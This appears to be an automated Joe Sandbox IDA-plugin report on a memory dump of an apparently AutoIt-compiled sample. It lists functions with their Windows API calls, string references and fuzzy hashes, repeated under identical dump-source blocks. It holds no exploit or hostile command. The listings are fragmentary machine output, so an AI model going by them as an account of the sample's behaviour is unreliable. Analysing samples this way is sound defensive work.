EXISTS, xrefs: 00F9B686, 00F9B68B
REMOVE, xrefs: 00F9B602, 00F9B607
APPEND, xrefs: 00F9B6C1, 00F9B6C6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 15c678affaf7e9dd1d3683b260248f96aa16453c259ec714e60f54862508eaf0
Instruction ID: 07a26ffc8577a8d7c52217ee75912d7809c62f8561b482f97eae0f952e396c99
Opcode Fuzzy Hash: 15c678affaf7e9dd1d3683b260248f96aa16453c259ec714e60f54862508eaf0
Instruction Fuzzy Hash: 74412933E0002A9BDF206F7DDE905BE77A5AFA0774B244269E521D7280E735EC81E790

Function 00FA5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FA53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00FA5416
GetLastError.KERNEL32 ref: 00FA5420
SetErrorMode.KERNEL32(00000000,READY), ref: 00FA54A7

Strings

READONLY, xrefs: 00FA5452
UNKNOWN, xrefs: 00FA5444
NOTREADY, xrefs: 00FA544B
INVALID, xrefs: 00FA5459
READY, xrefs: 00FA5460, 00FA5468

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: bb3865c5d1271ec33d5025df8f147470122dbe883347dfcd756c25e93168de0e
Instruction ID: 48f67fac31e8f2fd4aca3afd361f8e45e7e3de4b273941e06446c0127d511585
Opcode Fuzzy Hash: bb3865c5d1271ec33d5025df8f147470122dbe883347dfcd756c25e93168de0e
Instruction Fuzzy Hash: E231F6B5E006089FC710DF68C894FAD7BB4EF4A715F188055E905CB262DB75ED82EB90

Function 00FC3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00FC3C79
SetMenu.USER32(?,00000000), ref: 00FC3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FC3D10
IsMenu.USER32(?), ref: 00FC3D24
CreatePopupMenu.USER32 ref: 00FC3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00FC3D5B
DrawMenuBar.USER32 ref: 00FC3D63

Strings

F, xrefs: 00FC3D4E
0, xrefs: 00FC3C54

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: d684f56ae8d796371fa051afbd8c64b1041bd40fc93df12d7311be71491d5b1a
Instruction ID: 6ff02fe79cb447c9b7e60be39fb78189235908ce49de8dd603f53e31d95b2ae6
Opcode Fuzzy Hash: d684f56ae8d796371fa051afbd8c64b1041bd40fc93df12d7311be71491d5b1a
Instruction Fuzzy Hash: 2F416B75A0120AAFDB14CF64D945FAA7BB5FF49350F14442CF946A7350D731AA10EF90

Function 00F91EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00F91F64
GetDlgCtrlID.USER32 ref: 00F91F6F
GetParent.USER32 ref: 00F91F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F91F8E
GetDlgCtrlID.USER32(?), ref: 00F91F97
GetParent.USER32(?), ref: 00F91FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F91FAE

Strings

ComboBox, xrefs: 00F91EEC
ListBox, xrefs: 00F91F21

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 7b8f06b1f26041458dd8ec0875ed9102810f30b0ae6b9414a3e47052a5eae302
Instruction ID: 16432aff97d5b140d1b1fb6071863736ba5e691a06ad26cc1183d4a399ab4ccf
Opcode Fuzzy Hash: 7b8f06b1f26041458dd8ec0875ed9102810f30b0ae6b9414a3e47052a5eae302
Instruction Fuzzy Hash: 0421A171900118ABDF05AFA0DD45DEEBBA4AF05354F000115F959A72A1CBB95908FB60

Function 00F91FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00F92043
GetDlgCtrlID.USER32 ref: 00F9204E
GetParent.USER32 ref: 00F9206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F9206D
GetDlgCtrlID.USER32(?), ref: 00F92076
GetParent.USER32(?), ref: 00F9208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F9208D

Strings

ComboBox, xrefs: 00F91FCD
ListBox, xrefs: 00F92002

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 274e2ea72996d73d00af598608b44fc35f602e0950107b456470d65a4b5ae87e
Instruction ID: cc254eb822844e6668c6ebd7ace859d9749f7d0c9121d1d0cdf3aa23bb4b8907
Opcode Fuzzy Hash: 274e2ea72996d73d00af598608b44fc35f602e0950107b456470d65a4b5ae87e
Instruction Fuzzy Hash: 8521C675D00218BBDF10AFA0DD85EFEBBB8EF05350F004015FA59A72A1DAB98915FB60

Function 00FC3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00FC3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00FC3AA0
GetWindowLongW.USER32(?,000000F0), ref: 00FC3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00FC3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00FC3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00FC3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00FC3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00FC3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00FC3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00FC3C13

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 5ac84ca32a61a6abc052ab2544124e4ebd15d4fbae1892689e0a7b84d14b3f3e
Instruction ID: 562e3ed2c662157bec28f26f5ffd456e94c87504aeea7e43eb0124f541e90559
Opcode Fuzzy Hash: 5ac84ca32a61a6abc052ab2544124e4ebd15d4fbae1892689e0a7b84d14b3f3e
Instruction Fuzzy Hash: 82618A75900209AFDB21DFA8CD82FEE77F8EB49310F104099FA15A7291C774AE41EB60

Function 00F9B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F9B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B165
GetWindowThreadProcessId.USER32(00000000), ref: 00F9B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00F9B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00F9A1E1,?,00000001), ref: 00F9B21D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: ced843a24019cee4a9af76562f8f2b805da9b8b9515d148408b338a8acd65a5d
Instruction ID: 443fe473f319dad72ee74a8c4a2b268f7df20070dab4c1542467327f6268bd77
Opcode Fuzzy Hash: ced843a24019cee4a9af76562f8f2b805da9b8b9515d148408b338a8acd65a5d
Instruction Fuzzy Hash: C5318E71900208AFEF27DF25EE59F6D7BA9FB51321F104005FA49DB180D7B9A941AF60

Function 00F62C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F62C94

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

_free.LIBCMT ref: 00F62CA0
_free.LIBCMT ref: 00F62CAB
_free.LIBCMT ref: 00F62CB6
_free.LIBCMT ref: 00F62CC1
_free.LIBCMT ref: 00F62CCC
_free.LIBCMT ref: 00F62CD7
_free.LIBCMT ref: 00F62CE2
_free.LIBCMT ref: 00F62CED
_free.LIBCMT ref: 00F62CFB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fff07eedab689fd0cc18de3ad0e1491b5924cd43b6e445a17670f7b9e4301654
Instruction ID: f4c6f0741a3caaf91430f43c648b3d966ee635c43ef3545d57da6ec4f3d05347
Opcode Fuzzy Hash: fff07eedab689fd0cc18de3ad0e1491b5924cd43b6e445a17670f7b9e4301654
Instruction Fuzzy Hash: CA119376600508AFCB86EF58DC82CDD3BB5FF45390F4144A5FA489B222DA35EA50BB90

Function 00FA7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA7FC1
GetFileAttributesW.KERNEL32(?), ref: 00FA7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00FA8005
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA8017
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00FA80B0

Strings

*.*, xrefs: 00FA8066

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 87a11d616ef409676957c124201c1c7117acc867b9fcaf7292f16c363aa5c555
Instruction ID: 4a9232e54d78c92b1787c806c9f0d3bd0253001d78927372218881dfb484f70d
Opcode Fuzzy Hash: 87a11d616ef409676957c124201c1c7117acc867b9fcaf7292f16c363aa5c555
Instruction Fuzzy Hash: 8C81B6B29083459BCB24EF14CC84E6AB3E8BF86360F144C5EF885D7250DB75DD45AB92

Function 00F35BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00F35C7A

Part of subcall function 00F35D0A: GetClientRect.USER32(?,?), ref: 00F35D30
Part of subcall function 00F35D0A: GetWindowRect.USER32(?,?), ref: 00F35D71
Part of subcall function 00F35D0A: ScreenToClient.USER32(?,?), ref: 00F35D99

GetDC.USER32 ref: 00F746F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00F74708
SelectObject.GDI32(00000000,00000000), ref: 00F74716
SelectObject.GDI32(00000000,00000000), ref: 00F7472B
ReleaseDC.USER32(?,00000000), ref: 00F74733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00F747C4

Strings

U, xrefs: 00F74693

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 9b21069ce189c107668efe47718cd70e7c7972419e81fc03463c65be25d90e6f
Instruction ID: 1bb59ce9ead5bb54b22e4679ee97f02ac37ca840790558e85ab75d0b45f876e2
Opcode Fuzzy Hash: 9b21069ce189c107668efe47718cd70e7c7972419e81fc03463c65be25d90e6f
Instruction Fuzzy Hash: 1671E331800205DFCF268F64C985AB97BB5FF4A374F14822AED595A166C335A842FF52

Function 00FA359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00FA35E4

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

LoadStringW.USER32(01002390,?,00000FFF,?), ref: 00FA360A

Strings

Error: , xrefs: 00FA36EF
"%s" (%d) : ==> %s:, xrefs: 00FA3742
"%s" (%d) : ==> %s:%s%s, xrefs: 00FA3724
^ ERROR, xrefs: 00FA36C9
Line %d (File "%s"):, xrefs: 00FA366B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 51c99bd79b5922a0b19f7ffa0352812e3c8ca2c27c78610fac24b7f9f8e9a639
Instruction ID: 6e0e56901b1e43a64bbaa6e88a36b814de6e3df7cea12e50b2aa92a2c6b34d09
Opcode Fuzzy Hash: 51c99bd79b5922a0b19f7ffa0352812e3c8ca2c27c78610fac24b7f9f8e9a639
Instruction Fuzzy Hash: 12517FB1C0421ABADF15EBA0CC42EEDBB38EF05310F144125F505721A1EB795B99EFA1

Function 00FAC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FAC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FAC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00FAC2CA
GetLastError.KERNEL32 ref: 00FAC322
SetEvent.KERNEL32(?), ref: 00FAC336
InternetCloseHandle.WININET(00000000), ref: 00FAC341

Strings

, xrefs: 00FAC2BB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 00222de189e2b816f14e23de31e6652af7be13e2aedf4931ebb30c30315c2930
Instruction ID: f212d4c8f5f657b54561bae51e2178dd62098b8ebbeb9eafaf745ceb07e03215
Opcode Fuzzy Hash: 00222de189e2b816f14e23de31e6652af7be13e2aedf4931ebb30c30315c2930
Instruction Fuzzy Hash: F2313CB1900708AFDB219F649D89AAB7AECEF4A754B14851AE44AD3200DB34D905ABE1

Function 00F9989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00F73AAF,?,?,Bad directive syntax error,00FCCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00F998BC
LoadStringW.USER32(00000000,?,00F73AAF,?), ref: 00F998C3

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00F99987

Strings

Error: , xrefs: 00F99955
Line %d:, xrefs: 00F99912
%s (%d) : ==> %s.: %s %s, xrefs: 00F998F1
., xrefs: 00F9996D
Line %d (File "%s"):, xrefs: 00F9992D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: b8cdc8a700ec38246cb773ca7b7fcd75961c2627a0dae64ef504ff4b6989699b
Instruction ID: 480f5deb6655b149ee8326a176b243bccef97857bde37e65dd447420bab6984c
Opcode Fuzzy Hash: b8cdc8a700ec38246cb773ca7b7fcd75961c2627a0dae64ef504ff4b6989699b
Instruction Fuzzy Hash: 25217E3284421EABDF15EF90CC06EEE7775FF18710F044419F619660A2EBB99618FB51

Function 00F9209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00F920AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00F920C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00F9214D

Strings

details, xrefs: 00F920FB
smallicons, xrefs: 00F92115
largeicons, xrefs: 00F920E1
list, xrefs: 00F9212F
SHELLDLL_DefView, xrefs: 00F920CC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 9ef880bb506e650a2689cccfb7f93859b9148fb661d004e7b1cb0724a8a2d801
Instruction ID: 8620007239390e547cb34bb8bc4017937f3e3a070a92d0bf2b03d9565582689e
Opcode Fuzzy Hash: 9ef880bb506e650a2689cccfb7f93859b9148fb661d004e7b1cb0724a8a2d801
Instruction Fuzzy Hash: C6112C7768870ABAFE412620DC07DF6379CCF04725F200016FB08A50F1FE65A8957654

Function 00F68D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cbbfc3ee2fbf46e8f2ea3fd00cc842ebea1264cd3dd59781647abf3e0f80705
Instruction ID: e935344005c3f2e9405047e801188d56d7b8a4183ce383118d470873bd3706fa
Opcode Fuzzy Hash: 4cbbfc3ee2fbf46e8f2ea3fd00cc842ebea1264cd3dd59781647abf3e0f80705
Instruction Fuzzy Hash: 3CC12475D08249AFCF11DFA8C841BADBBB4EF09360F044199F915A7392CB758946EB60

Function 00F6CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

